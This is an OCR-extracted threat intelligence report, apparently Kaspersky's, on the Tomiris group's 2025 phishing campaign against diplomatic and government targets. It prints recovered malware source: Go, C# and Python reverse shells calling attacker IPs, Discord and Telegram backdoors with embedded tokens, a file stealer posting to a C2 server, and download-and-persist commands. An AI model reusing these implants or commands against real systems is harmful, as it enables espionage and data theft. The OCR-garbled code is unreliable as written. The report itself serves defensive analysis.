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While tracking the activities of the Tomiris threat actor, we identified new malicious operations that
began in early 2025. These attacks targeted foreign ministries, intergovernmental organizations,
and government entities, demonstrating a focus on high-value political and diplomatic
infrastructure. In several cases, we traced the threat actor’s actions from initial infection to the
deployment of post-exploitation frameworks.

These attacks highlight a notable shift in Tomiris’s tactics, namely the increased use of implants
that leverage public services (e.g., Telegram and Discord) as command-and-control (C2) servers.
This approach likely aims to blend malicious traffic with legitimate service activity to evade
detection by security tools.

Most infections begin with the deployment of reverse shell tools written in various programming
languages, including Go, Rust, C/C#/C++, and Python. Some of them then deliver an open-source
C2 framework: Havoc or AdaptixC2.

This report in a nutshell:

* New implants developed in multiple programming languages were discovered,;
o Some of the implants use Telegram and Discord to communicate with a C2;

1/28


https://securelist.com/tomiris-new-tools/118143/
https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/

e Operators employed Havoc and AdaptixC2 frameworks in subsequent stages of the attack
lifecycle.

Kaspersky’s products detect these threats as:

HEUR

e HEUR:

e HEUR
e HEUR
e HEUR

e HEUR:
e HEUR:

:Backdoor .wWin64.RShell.gen,
Backdoor .MSIL.RShell.gen,
:Backdoor .wWin64.Telebot.gen,
:Backdoor.Python.Telebot.gen,
:Trojan.Win32.RProxy.gen,
Trojan.Win32.TJLORT.a,
Backdoor.Win64.AdaptixC2.a.

For more information, please contact intelreports@kaspersky.com.

Technical details

Initial access

The infection begins with a phishing email containing a malicious archive. The archive is often
password-protected, and the password is typically included in the text of the email. Inside the
archive is an executable file. In some cases, the executable’s icon is disguised as an office

document icon, and the file name includes a double extension such as .doc<dozen_spaces>.exe.

However, malicious executable files without icons or double extensions are also frequently
encountered in archives. These files often have very long names that are not displayed in full
when viewing the archive, so their extensions remain hidden from the user.

To

Message

OKpyTa

Fri 7/18/2025 10:22 AM

M3pua HapblH KbiprbiactaH <meriyanaryn@mail.ru>

[Encrypted] Annapar lNpaeutenbcrea Poccuiickorn @egepauym No BONMpPOCY OTHECEHUA peann3yembix Ha Tepputopum Cubug

© i there are problems with how this message is displayed, click here to view it in a web browser,

_ Annapart MNpasutenncrea Poccninckon Gegepaumm No BONPOCY OTHECEHNA peannsyemend Ha Tepputopun CuBupckoro deaepansHoro okpyra.rar (75 KB)

Veaxkaemsre Kouzern!

B pamkax moAroToEKH K COBELIaHHIO Ha Iuomagke Anmnapara [Ipaeutenscrea Poccuiickoit Pegepaunn mo Borpocy oTHeceHHA
pearHsyeMsIX Ha TeppuTopHH CHOMpPCKOro deaepaTsHOro OKpYTa NPOEKTOR K MPOEKTaM, OKasBIBaOMIHM CYINECTE HHOE BIHAHHE Ha
COLIHATEHO-3KOHOMHIecKoe passHTHe CPO, mpocHM npecTaBHTE MOZHIIHIO 110 MPOSKTaM, EPeTHCICHHEIM BO BIOKeHHOM dafime.
Amnmnapar I[Ipaeurtensctea Poccniickoit Peaepannn no Bonpocy oTHeCEHHA peaTH3YeMBIX Ha TeppHTOpHH CHOHpCKOro degepatbHOro

Ilapoms: min@2025

Example of a phishing email containing a malicious archive

» Translation:
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T ) Annapat Mpaentensctea Pocowiickoid Pegepaunn No BONPoCy OTHECEHMA PEANNSYEMBIX Ha TeppuTopun CnBnpckoro deaepaneHoro okpyra.rar - RAR apxue, pas v
-

Wman Pazmep Cxat Tun Wzmenén CRC32

j - File folder
DAnnapaT MpaeuTtensctea Poccuiickoi Pegepaunn no BONPOCY OTHECEHWA PEANNZYEMBIL... 238,592 75,392 Application 7/8/202511:12 ... 10BDFCT75

T ) Annapat MNpaentensctea Pocowiickoid Pegepaunn no BoNpocy 0THECEHMA PEANNSYEMbIX Ha TeppuTopun CnBupckoro desepaneHoro okpyra.rar - RAR apxue, pasmep ncxogHeix daiinoe v
-
Wman Pazmep Cxar  Tun

i .- File folder
[ Annapar Mpaeutenscrea Poceuiickoii Beaepauum no BONPOCY DTHECEHWA PEANMYEMBI Ha TEpPUTOpMM CBMPCKOro heqepansHoro okpyra.exe ™ 238,592 75,392 Application
N

< >

(]
&

Example of an archive with a malicious executable

When the file is executed, the system becomes infected. However, different implants were often
present under the same file names in the archives, and the attackers’ actions varied from case to
case.

The implants

Tomiris C/C++ ReverseShell

\/ : EXE : 6 : EXE

Phishing ZIP/RAR Tomiris Cc2 AdaptixC2
C++ ReverseShell

N/

Tomiris C/C++ ReverseShell infection schema

This implant is a reverse shell that waits for commands from the operator (in most cases that we
observed, the infection was human-operated). After a quick environment check, the attacker
typically issues a command to download another backdoor — AdaptixC2. AdaptixC2 is a modular
framework for post-exploitation, with source code available on GitHub. Attackers use built-in OS
utilities like bitsadmin, curl, PowerShell, and certutil to download AdaptixC2. The typical scenario
for using the Tomiris C/C++ reverse shell is outlined below.

Environment reconnaissance. The attackers collect various system information, including
information about the current user, network configuration, etc.
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1 echo 4fUPU7tGOJBIT6D1wZTUk
whoami

ipconfig /all

systeminfo

hostname

net user /dom

N~ o o A~ wDN

dir

o

dir C:\users\[username]

Download of the next-stage implant. The attackers try to download AdaptixC2 from several
URLs.

bitsadmin /transfer www /download http://<HOST>/winupdate.exe $public\libraries\winvt.exe

curl -o $public\libraries\service.exe http://<HOST>/service.exe

ArOWON -

certutil -urlcache -f https://<HOST>/AkelPad.rar $public\libraries\AkelPad.rar

powershell.exe -Command powershell -Command "Invoke-WebRequest -Uri
'https://<HOST>/winupdate.exe' -OutFile '$public\pictures\sbschost.exe'

Verification of download success. Once the download is complete, the attackers check that
AdaptixC2 is present in the target folder and has not been deleted by security solutions.

1 dir $temp
2 dir $public\libraries

Establishing persistence for the downloaded payload. The downloaded implant is added to
the Run registry key.
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/d $public\pictures\winupdate.exe /f

A OWON -

REG_SZ /d "$public\videos\alone.exe"

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinUpdate /t REG_SZ

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Win-NetAlone" /t

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Winservice" /t REG_SZ

/d "$public\Pictures\dwm.exe"

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v CurrentVersion/t

REG_SZ /d $public\Pictures\sbschost.exe /f

Verification of persistence success. Finally, the attackers check that the implant is present in

the Run registry key.

1 reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

This year, we observed three variants of the C/C++ reverse shell whose functionality ultimately
provided access to a remote console. All three variants have minimal functionality — they neither
replicate themselves nor persist in the system. In essence, if the running process is terminated
before the operators download and add the next-stage implant to the registry, the infection ends

immediately.

The first variant is likely based on the Tomiris Downloader source code discovered in 2021. This is

evident from the use of the same function to hide the application window.

BEOOL HideWindow()
1
HWND v@; // rax

AllocConsole();
w2 = FindWindowA("ConsoleWindowClass", @isd);
return ShowWindow(ve, @);

0 =] M W pa

¥

BOOL HideWindow()

1

}

HWND hwWnd; // [rsp+28h] [rbp-8h]
AllocConsole();

nd = FindWindowaA("ConsoleWindowClass", @i6d4);
return ShowkWindow(hiind, @);

Code of window-hiding function in Tomiris C/C++ ReverseShell and Tomiris Downloader

Below are examples of the key routines for each of the detected variants.
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e ( ffer, 8, size M
€ optte (1) rece(v7, t, Borddrouf, 16, Bics, 0i6s, 0i64, 0i64) == 1)
5 ile (1 0= a)
{ oy e - o -d_140087768, “Connection failed: *, 19i64);
pai e . or();
trcap( “exit\n®) || Istremp(r byein™) ) sub_146672280( .
- = sub_ arord_140087760, 13);
=ts) L gihessr o B0 _— sub_136661480(.5) ;
_140001535 (8, &7, 3) ) iF (21 ) o goto LABEL_11;
spEL_21
while ( fgets(ce 4096, 111) )
{
2 64
trlen(
1 (23 )
i)
while (1)
{
¥ ((__intss (_fasec 2 0))send)(
8 {v22]
led to change % ) d.exe”, SaCndexe[v2]);
2uf, 8164, 0164, 1, 0, 0164, 064, &5 Info, & I )y
tlon.hProcess, xFFFFFFFF);
_hProcess);
ien.hThread);
t64) )} icb_func_8) (2164);
pen( )
i ( ) } ¢
1 } sub_1408ADEES(qword_190087768, "CreateProcess failed: =, 22164);
while ( fgets(ouf, 4686, File) ) pelose(uai); < Gettasterror(V7
¥ sub_148671548 (quord_148887768, v4);
5 strlenteai); , ?m 40881488(.5) ;
send (s, buf, ve, @) "
I ey O ———
5 Send(s, “COMMOD_DONE", 12, 8); { (socket);
) - = ysend) )
s}
3 BaCommandexecuti [ 1 failed

Tomiris C/C++ ReverseShell main routine

Tomiris Rust Downloader

Tomiris Rust Downloader is a previously undocumented implant written in Rust. Although the file
size is relatively large, its functionality is minimal.

O

\/ EXE / Discord EXE

N

—

Phishing ZIP/RAR Tomiris \ @ / 1zip Havoc

Rust Downloader

c2

Tomiris Rust Downloader infection schema

Upon execution, the Trojan first collects system information by running a series of console
commands sequentially.

1 "emd" /C "ipconfig /all"

"ecmd" /C "echo %username%"
"cmd" /C hostname

"cmd" /C ver

"cmd" /C curl hxxps://ipinfol[.]io/ip

(2NN ¢ ) B S SO R \V)

"cmd" /C curl hxxps://ipinfo[.]io/country
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Then it searches for files and compiles a list of their paths. The Trojan is interested in files with the
following extensions: .jpg, .jpeg, .png, .txt, .rtf, .pdf, .xIsx, and .docx. These files must be located
ondrives C:/, D:/, E:/, F:/, G:/, H:/, I:/, or J:/. At the same time, it ignores paths containing the
following strings: “.wrangler”, “.qgit”, “hode_modules”, “Program Files”, “Program Files (x86)”,
“Windows”, “Program Data”, and “AppData”.

A multipart POST request is used to send the collected system information and the list of
discovered file paths to Discord via the URL.:

1 hxxps://discordapp[.Jcom/api/webhooks/1392383639450423359/TmFw-WY-
u3D3HihXqVOOInL730KgXvi69IBNh_rr15STd3FtffSP2BjAH59ZviWKWJRX

It is worth noting that only the paths to the discovered files are sent to Discord; the Trojan does not
transmit the actual files.

The structure of the multipart request is shown below:

Contents of the Content- Description
Disposition header

form-data; name="payload_json” System information collected from the infected system via
console commands and converted to JSON.

form-data; name="file”; A list of files discovered on the drives.
filename="files.txt”

form-data; name="file2"; Results of executing console commands like “ipconfig /all”.
filename="ipconfig.txt”

1|{
2 "content": "",
3 "embeds™: [{
4 "color": 4321431,
5 "fields": [{
G "name": "Hostname",
7 "yalue™”: "DESKTOP- I
& o
"name": "05",
16 "value": "\r\nMicrosoft Windows [Version 18.8.19045,22517%r%n"
11 b i
12 "name": "Country"”,
13 "yalue™: ":flag {\"statusy":\"success\",\"country\":\"russia\",\"countrycodel "\ "ru\", \Vregion " 1\ "mow’,
14 i
15 "name": "IP Address",
16 "yalue™: "{Y"statusi" i\ "success\ ", W countryt " "Russian”, M oountryCadey M o U RUNY, VT regdlont o U MOWL ", \ e
17 I
18 "footer™: {
19 "icon_url®: “"http://cdn.discordapp.com/embed/avatars/@.png",
21 "text": "info"
21 s
22 "timestamp”: "2024-12-14T@@:13:46. 4477,
23 "title": "SI cot pwned.”
29 1]

f
L}
[
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Example of “payload_json”

After sending the request, the Trojan creates two scripts, script.vbs and script.psi, in the
temporary directory. Before dropping script.psi to the disk, Rust Downloader creates a URL
from hardcoded pieces and adds it to the script. It then executes script.vbs using the cscript
utility, which in turn runs script.ps1 via PowerShell. The script.ps1 script runs in an infinite loop
with a one-minute delay. It attempts to download a ZIP archive from the URL provided by the
downloader, extract it to »TEMP%\rfolder, and execute all unpacked files with the .exe extension.
The placeholder <PC_NAME> in script.ps1 is replaced with the name of the infected computer.

Content of script.vbs:

1 Set Shell = CreateObject("WScript.Shell")

2 Shell.Run "powershell -ep Bypass -w hidden -File %temp%\script.ps1"

Content of script.psi:

1 $Url = "hxxp://193.149.129[.]1113/<PC_NAME>"
g $dUrl = $Url + "/1.zip"
g while($true ){
6
7 try{
g $Response = Invoke-WebRequest -Uri $Url -UseBasicParsing -ErrorAction Stop
]? iwr -OutFile $env:Temp\1 zip -Uri $dUrl
1% New-Item -Path $env:TEMP\rfolder -ltemType Directory
14 tar -xf $env:Temp\1.zip -C $env:Temp\rfolder

Get-Childltem $env:Temp\rfolder -Filter "*.exe" | ForEach-Object {Start-Process

$_.FullName }
break
}catch{

Start-Sleep -Seconds 60
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It's worth noting that in at least one case, the downloaded archive contained an executable file
associated with Havoc, another open-source post-exploitation framework.

Tomiris Python Discord ReverseShell

The Trojan is written in Python and compiled into an executable using Pylnstaller. The main script
is also obfuscated with PyArmor. We were able to remove the obfuscation and recover the original
script code. The Trojan serves as the initial stage of infection and is primarily used for
reconnaissance and downloading subsequent implants. We observed it downloading the
AdaptixC2 framework and the Tomiris Python FileGrabber.

&

\/ @ / Discord EXEI
3 EXE
N
! Tomiris
ishi iri Python
Phishing ZIP/RAR Tomiris \ /’ _
Python Discord 6 FileGrabber

ReverseShell
File hosting \

EXE

AdaptixC2

Tomiris Python Discord ReverseShell infection schema

The Trojan is based on the “discord” Python package, which implements communication via
Discord, and uses the messenger as the C2 channel. Its code contains a URL to communicate
with the Discord C2 server and an authentication token. Functionally, the Trojan acts as a reverse
shell, receiving text commands from the C2, executing them on the infected system, and sending
the execution results back to the C2.
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import discord
import subprocess
import requests

intents = discord.Intents.default()
intents.me3sage_content = True

client = discord.Client (intents=intents)

WEBHOOK UEL = "https://di i api/webhooks//1396726652565848135/0Fds3Dodgl-C Vicka
TOEEN = "MTIM5H]cylzIwk ]l ' 2]
Mi¥ MESSAGE LENGTH =

HIOgosIdk tQLOBE

Bclient.event
async def on_ready():
command = "whoami
result = subprocess.runi
command, shell=True, capture_output=True, text=True

)
stdout = result.stdout[:MAX MESSAGE LENGTH]
stderr = result.stderr[:MAX MESSRAGE LENGTH]

content = £"Y*Com:*Y " {command] Th\nt*0ut:*Y\n{stdout}\n**Err: ¥*\n{stderr}”
payvload = {["content": content}]
requests.post (WEBHOOE _URL, json=payload)

|
-
i
i

Bclient.event
async def on_message (message) :
if message.author = client.user:
return

if message.content.startswith("!cmd "):

command = message.content.split("!'cmd ", 1) [1]

try:
result = subprocess.runi

command, shell=True, capture_output=True, text=True

)
stdout = result.stdout[:MAX MESSRAGE LENGTH]
stderr = result.stderr[:MAX MESSRAGE LENGTH]

content = £"%*Com:*% " [command] "\n*¥0ut:*¥¥\n{stdout]\n*¥*Err:**\n{stderr}™
payvload = ["content": content]
requests.post (WEBHOOK_URL, json=payload)
except Exception as =:
pass

I
-
i
i

client.run (TOEEN)

Python Discord ReverseShell

Tomiris Python FileGrabber

As mentioned earlier, this Trojan is installed in the system via the Tomiris Python Discord
ReverseShell. The attackers do this by executing the following console command.
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1 cmd.exe /c "curl -o $public\videos\offel.exe http://<HOST>/offel.exe"

The Trojan is written in Python and compiled into an executable using Pylnstaller. It collects files
with the following extensions into a ZIP archive: .jpg, .png, .pdf, .txt, .docx, and .doc. The resulting
archive is sent to the C2 server via an HTTP POST request. During the file collection process, the

M LIS LIS LI

following folder names are ignored: “AppData”, “Program Files”, “Windows”, “Temp”, “System
Volume Information”, “SRECYCLE.BIN”, and “bin”.

import requests

defl copy_files(source file, destination dir):
if os.access(source file, os.R _0K):
if os.access(destination dir, os.W_OK):
try:
shutil.copy(source_file, destination_dir)
return
except Exception as e:
print(f'Error: [e]")

defl get_last_time_ runi):
if "MI FI_EUN _GR' mot in os.environ:

return time.time () - 115200

def set_last_time_run({lasttime) :
08.3ystem(f'sety MICROSOFT RUN GR “\"[lasttime}\™ ")

def check file extension(file path):
valid extensions = ['.jpg', '.png', '.pdf', '.txt', '.docx', ".doc'}
file extension = Path(file path) .suffix.lower()
return file_extension in wvalid extensions

def find file(disk path_d):
day_ago = float{get_last_time_run())
disk path = Path(disk _path d)

print {disk_path)
exclude folders = ['AppData', '"Program Files', 'Windows', 'Temp', 'System Volume Information', "$RECYCLE.BIN', 'hin']
disk_path = 'C:\\Users' if atr(disk_path).startawith('C:%\") else disk_path

for file in Path({disk path).rglob{'*'):
if any(({exclude_folder in file.parts for exclude folder in exclude_folders]}):
continue
if file.is_file() and check file_extension(file):
pass
else:
file mtime = file.stat().st_mtime
if file mtime »>= day_ago:
pass
else:
ffiles.append (file)

def send_zip_file(file path):
url = "http://62.113.115.8%/homepage/infile.php’
with open(file path, 'rb') as file:
files = {'file"': (os.path.basename(file path), file, 'application/zip')}
try:
response = requests.posturl, files=£files)
if response.status_code = 200:
print (response.text)
except Exception as e:
print (£'Error {file path}: {[e]")
if _name_ == '_ main_ ':
ffiles = []
partitions = psutil.disk partitions()
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Distopia backdoor

Python FileGrabber

N\

Phishing

N
7

&

@ EXE / Discord

ZIP/RAR

Tomiris \ Q
Python Distopia
_ EXE

Backdoor

File hosting Tomiris

Python Telegram
ReverseShell

Distopia Backdoor infection schema

The backdoor is based entirely on the GitHub repository project “dystopia-c2” and is written in
Python. The executable file was created using Pylnstaller. The backdoor enables the execution of
console commands on the infected system, the downloading and uploading of files, and the
termination of processes. In one case, we were able to trace a command used to download
another Trojan — Tomiris Python Telegram ReverseShell.
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KEYLOGG]

CUREENT AGENT = 0

class Bot (commands.Bot) :
def _ initc_ (self):
intents = discord.Intents.default()
intents.message_content = True
super()._ init_ (command prefix='!", intents=intents, help_command=None}

async def on_r v (self):
await self.wait until ready()
seli.channel = self.get_channel (CHANNEL)
now = datetime.now()
my_embed = discord.Embed(title=f'{M5G]", description=£"**Time: [now.strftime ('3d/im/ /%Y %H:%
my_embed.add_field(name="**IF**", walue=disctopia.getIF(), inline=True)
my_embed.add_field(name="" value=disctopia.getBita (), inline=True)
my_ embed.add_field(name=""* ¥' . walue=disctopia.getHostname () , inline=True)
my_embed.add_field({name="'** ; value=disctopia.getl3(), inline=True)
my_embed.add_field(name=""*"1 v, walue=disctopia.getUsername (), inline=True)
my_embed.add_field(name='**'CEU**'", valus=disctopia.getCPU(), inline=False)
awalt self.channel.send(embed=my embed)

r

async defl setup_hook(self):
await self.tree.sync{guild=GFUILD)

async def on_command_srror(self, ctx, error):
my embed = discord.Embed(title=f'**Error:** [error}', color=16T711¢i0)

awalt ctx.reply(embed=my embed)

class InteractButton({discord.ui.View):

:257) | %" color=COLOR)

kot = Bot{)

@kot.hybrid command (name='inte
Bapp_commands.guilds (GUILD)
async def cmd{ctx: commands.Context, id: int):

act', with_app_command=True, description='In

Bbot.hybrid_command (name="ha
@app_commands.guilds (GUILD)
async def cmd{ctx: commands.Context):

cground', with_app command=True, description='E

Bkot.hybrid_command (name='cmnd
@app_commands.guilds (GUILD)

async def cmd{ctx: commands.Context, command: str):

, With_app_command=True, description='

Bbot.hybrid_command (name="cmd-all', with_app_command=True, description='Run any command on the all online ag
@app_commands.guilds (GUILD)
async def cmd all {(ctx: commands.Context, command: str):

Bkot.hybrid command (name='cd', with_app command=True, descripticn='Ch
@app_commands.guilds (GUILD)
async def cd{ctx: commands.Context, path: str):

Distopia backdoor

Sequence of console commands executed by attackers on the infected system:
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1 cmd.exe /c "dir"
cmd.exe /c "dir C:\user\[username]\pictures"
cmd.exe /c "pwd"

cmd.exe /c "curl -O $public\sysmgmt.exe http://<HOST>/private/svchost.exe"

a b~ O DN

cmd.exe /c "$public\sysmgmt.exe"

Tomiris Python Telegram ReverseShell

The Trojan is written in Python and compiled into an executable using Pylnstaller. The main script
is also obfuscated with PyArmor. We managed to remove the obfuscation and recover the original
script code. The Trojan uses Telegram to communicate with the C2 server, with code containing
an authentication token and a “chat_id” to connect to the bot and receive commands for
execution. Functionally, it is a reverse shell, capable of receiving text commands from the C2,
executing them on the infected system, and sending the execution results back to the C2.

Initially, we assumed this was an updated version of the Telemiris bot previously used by the
group. However, after comparing the original scripts of both Trojans, we concluded that they are
distinct malicious tools.

import telebot import requests
import subprocess import random
import og import subprocess
import shutil

bot = telebot.TeleBot (15345140907 : AR
username = os.getlogin()

name .

“\Users\! [username]\\AppData\\Roaming!\ [service] '

5\\ [username]\\AppData\\Roaming!\ [service} ')

name}\\AppDatal \Roaming\\ [service ]} \\ [name] .exe")
Run /v [service] /')

ersion\\Run /v [service] /t REG_SZ /d C:\\Usersi\[v

tpe://api. telegram. org/bot{BOT_TOKEN}/sendMessage"
id': CHAT_ID, 'text': text}
0, params= var var_l)

finally:
pass

def command (text) :

global aut
TEXT = message.text.lower () global life
mesg = text.splic() try:
if mesg(0] = '/run’ and len(mesg) > 1: .
resg.z0m (0) _var_var_2 = 409%
commands = ' '.jein (mesg) A mot auc:
pipe = -Bopen (commands -EIPE, stdi; -PIFE, .STDOUT, shell=True) by
cutput = pipe.commanicate () [0].decode ('cpoEs’) SEEeiE = "atdats
if len(output) > 4095: send_message (' (1dd] - ON')
for x in range (0, lem(output), 409 aut = True
Bot.send_message (message.chat.id, TEXT=ONTPUE[X:x + 4095]) return
else: else:
ssage (ressage.chat.id, TeXC=putpuT) I tEXT == lwnoami':
oad’ and len(mesg) > 1 send_message (£"{idd}-{subprocess.getoutput ('whoami’)} - OFF")
return
except:
pass
if aut:
try:
if text = flexmit [(idd)':
5 essate handler [CARDERE, types=] document” life = False
def get 7€) send_message(f'Exited (idd)")
try os._exit(0)
if message.caption != None: else:
save_dir = nessage.caption try:
else: _var_var_3 = subprocess.getoutput (text) .encode (' cpl251") .decode ('cpdéE’)
save_dir = os.getewd() if len(_var_var_3) > _var_var_2:
print (os.getcwd() , save_dir) for _var_var_4 in range(0, len(_var_var_3), _var_var 2):
bot.send_message (nessage.chat.id, £'Coxpanan = [save_dir]') Send_message (_var_var_3[_var_var_4:_var_var_i + _var_var_2])
file name = message.document.fils name else:
file id_info = bot.get_file(message.documenc.file id) send message (£'{14d) - | vaz var 3]7)
downloaded file = bot.download_file(file_id info.file path)
o excet Excertion as var var S:

Python Telegram ReverseShell (to the right) and Telemiris (to the left)
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Other implants used as first-stage infectors

Below, we list several implants that were also distributed in phishing archives. Unfortunately, we
were unable to track further actions involving these implants, so we can only provide their
descriptions.

Tomiris C# Telegram ReverseShell

Another reverse shell that uses Telegram to receive commands. This time, it is written in C# and
operates using the following credentials:

1 URL=
hxxps://api.telegram[.Jorg/bot7804558453: AAFR20jF7ktvyfyglelneu_8WDaaSkduV7k/

CHAT_ID = 7709228285

continue;
if (@string.Contains(Idclt))

string text = @@string.Replace(Idclt + ":", "").Trim();
if (text == "exit")
1

exit = true;

break;

string textd;
if (text == “copyrun”)
1
string location = Assembly.GetExecutingAssembly().Location;
string text2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LlocalApplicationData), "Microsoft NTL");
Directory.CreateDirectory(text2);
string text3 = Path.Combine(text2, “"copytell.exe™);
File.Copy(location, text3, overwrite: true);
Process.Start(text3);
text4 = "copy run”;

b

else
text4 = execom(text);

_ = text4.Length;
await SendMsg(text4, Idclt);
lastId = id_mss + 1;

else if (@string == "clear™)
UpdateId = (id_mss + 1).ToString();

¥
else if (@string == "list")
if

await SendMsg(" - " + comname, Idclt);
lastId = id_mss + 1;
¥
1

1
finally

((IDisposable)(ArrayEnumerator)(ref val3)).Dispose();

val3 = default(ArrayEnumerator);
if (lexit)

Thread.Sleep(S@ea);
continue;

}

break;

Tomiris C# Telegram ReverseShell
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JLORAT

One of the oldest implants used by malicious actors has undergone virtually no changes since it
was first identified in 2022. It is capable of taking screenshots, executing console commands, and
uploading files from the infected system to the C2. The current version of the Trojan lacks only the
download command.

Tomiris Rust ReverseShell

This Trojan is a simple reverse shell written in the Rust programming language. Unlike other
reverse shells used by attackers, it uses PowerShell as the shell rather than cmd . exe.

EpapE EYap@E
PULSEE) APEE
P LEEE EaFEE  UnPEQ BFREE BFREE
OERE CoREREE ACERE  aoRRE  ABFREE  UKeEE W\4EE  H'#EE HdeEE Pitd
8 An#EE  PudlEE  kEREEE TEEEE oo Cl=i CEREEE OEREEE 8EEEE  EREREE
QEBEE@ JCARE "CEE@P Egﬂﬂ@ mvEECE THIEE L2EE 1«20 AQ%EE po
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Strings used by main routine of Tomiris Rust ReverseShell
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Tomiris Go ReverseShell

The Trojan is a simple reverse shell written in Go. We were able to restore the source code. It
establishes a TCP connection to 62.113.114.209 on port 443, runs cmd . exe and redirects standard
command line input and output to the established connection.

package main

import |

o3/ exer

Srro
==L

)

func main() {
conn, _ := net.Dial("tcp”, "62.113.114.209:443")
cmd := exec.Command ("cmd.sxe™)
sysProchttr := &kayscall.SysProchttr{
HideWindow: true,

i

cil . S¥ysProchAttr = sysProcAttr
cmd.S5tdin = conn

cmd . Stdout = conn

cmd.Stderr = conn

cmd . Bun ()

Restored code of Tomiris Go ReverseShell

Tomiris PowerShell Telegram Backdoor

The original executable is a simple packer written in C++. It extracts a Base64-encoded
PowerShell script from itself and executes it using the following command line:

1 powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand
JABJAGgAYQBOAF8AaQBkACAAPQAgACIANWA3SADAAOQAYADIAOAAYADgANAQ............

The extracted script is a backdoor written in PowerShell that uses Telegram to communicate with
the C2 server. It has only two key commands:

e /upload: Download a file from Telegram using a file Id identifier provided as a parameter
and save it to “C:\Users\Public\Libraries\” with the name specified in the parameter
file_name.

e /go: Execute a provided command in the console and return the results as a Telegram
message.

The script uses the following credentials for communication:

17/28


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/11/26184231/tomiris-new-tools16.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/11/26184231/tomiris-new-tools16.png

—

$chat_id = "7709228285"
2 $botToken ="8039791391:AAHCE2qYmeRZ5P29G6mFAyIVJI8qH_ZVBh8"

w

$apiUrl = "hxxps://api.telegram[.]Jorg/bot$botToken/"

if (Smessage -=q "
Sdevicelist =
if ($clients.Count -gt '} {
foreach (SuserId in 3Sclients.Keys) {

SdevicelList += " "'nID: &(éclisntsa[sussrld]

i
ot
il
H
Al
m

}
} else { 3devicelist = "X devicsaz”
Send-TelegramMessage Sdevicelist

w
—_—

if (Smessage -liks "/go'") |
if ($message.StartsWich("/go0")) {
try |

Sparts = Smessage.Substring () .Trim() -splitc ' ', 2

if (Sparts.length -gt 1) {
StargetDevice = Sparts[(]
Scommand = Sparts[l]
if ([int]::TrvParse($targetDevice, [ref]ldnull)) {

StargetDevice = [int]$targetDevice

SuserIdForDevice = $clients.Keys | Where-Object [ $clients[$_].Deviceld -e=q StargetDevice }

if ($userIdForDevice) |
Schat id for dewvice = $clients[$userIdForDevice[(]].ChatId

try {
Soutput = Invoke-Expression Scommand 2>&1
Soutput = Soutput | OCut-String

Send-TelegramMessage " ID &
} catch { Send-TelegramMessage "E

}
} else { Start-Sleep -Seconds $random5econds }
} else | Send-TelegramMessage " mATJ
} catch { Send-TelegramMessage "Fail

if (Smessageupload -like "/upload'”) {
if ($messageupload.StartaWith (" /upload”)) {
try |
Sdeviceld = Smessageupload.Substring(7) .Trim()

if ([int]::TryParse(Sdeviceld, [ref]$null)) |
SuserIdForDevice = $clients.Keys | Where-Objzct [ Sclients[$_].Deviceld -eq [int]$dewviceld }

if (SuserIdForDevice) |
Schat id for device = $clients[$userIdForDevice([(]].ChatId
if ($update.messages.document) |
$fileld = $update.message.document.file_id
$fileName = Supdate.message.document.file name
$sawePath = "C:'\UssraPublic\Lik i
Download-TelegramFile -£ileld $fileld -sawveFath $savePath
Send-TelegramMessage "'&f
} else {[Send-TelegramMessage

1 alea [ Srawr_Slosr _Ss;snds Cweandam@amands 1
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Strings used by main routine of Tomiris PowerShell Telegram Backdoor

Tomiris C# ReverseShell

A simple reverse shell written in C#. It doesn’t support any additional commands beyond console

commands.

private static wvoild Main(string[] args)

i

string empty = string.Empty;
while (true)

i
try

1

Other implants

TcpClient tcpClient = new TopClient("185.244.188.169", 443);

MetworkStream stream;
while (true}
i
stream = tcpClient.GetStream();
empty = "cmd>";
byte[] bytes = Encoding.Default.GetBytes(empty);
stream.Write(bytes, @, bytes.Length);
byte[] array = new byte[1824];
int newSize = stream.Read{array, @, array.lLength);
Array.Resize(ref array, newsize);
string @string = Encoding.Default.GetString(array);
if (@string == "exitn"}
i

T

Process process = new Process();

break;

process.StartInfo.Windowstyle = ProcessWindowStyle.Hidden;

process.StartInfo.CreatelolWindow = true;
process.StartInfo.FileName = "cmd.exe™;
process.StartInfo.Arguments = "/c " + @string;
process.StartInfo.RedirectStandardOutput = true;
process,StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string 5 = process.StandardOutput.ReadToEnd();
string 52 = process.StandardError.ReadToEnd();
byte[] bytes2 = Encoding.Default.GetBytes(s);
byte[] bytesz3 = Encoding.Default.GetBytes(s2);
stream.Write(bytes2, @, bytes2.Length);
stream.Write(bytes3, @, bytes3.Length);

1

stream. Close();

tocpClient.Close();

Tomiris C# ReverseShell main routine

During the investigation, we also discovered several reverse SOCKS proxy implants on the
servers from which subsequent implants were downloaded. These samples were also found on

infected systems. Unfortunately, we were unable to determine which implant was specifically used

to download them. We believe these implants are likely used to proxy traffic from vulnerability
scanners and enable lateral movement within the network.
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Tomiris C++ ReverseSocks (based on GitHub Neosama/Reverse-SOCKS5)

The implant is a reverse SOCKS proxy written in C++, with code that is almost entirely copied
from the GitHub project Neosama/Reverse-SOCKS5. Debugging messages from the original
project have been removed, and functionality to hide the console window has been added.

HWND w@; // eax

int connect_failed; //f [esp+24h
u_int i; // [esp+28h] [ebp-2C4h
SOCKET sock; // [esp+2Ch] [ebp-2Ceh]

struct WSAData WSAData; // [esp+38h] [ebp-2BCh]
fd_set readfds; // [esp+lCBh] [ebp-12Ch]
threaddata qq; // [esp+2C4h] [ebp-28h]
SOCKADDR_IN sin; // [esp+2D8h] [ebp-14h]

[ebp-2C8h]

—

v@ = GetConsoleWindow();

ShowWindow(ve, @);

if ( wWsAStartup(2u, &WSAData) )
return -1;

connect_failed = @;
while { 1)
1
zin.sin_family = 2;
zin.sin_addr.5_un.5_addr = inet_addr({"185.231.154.84");
zin.sin_port = htons(@x4FDBu);
sock = socket(2, 1, 6);
if { sock == -1 )
break;
if { connect(scck, &sin, 16) == -1 )
1
++connect_failed;
1
else
1
connect_failed = @;
readfds.fd_count = 8;
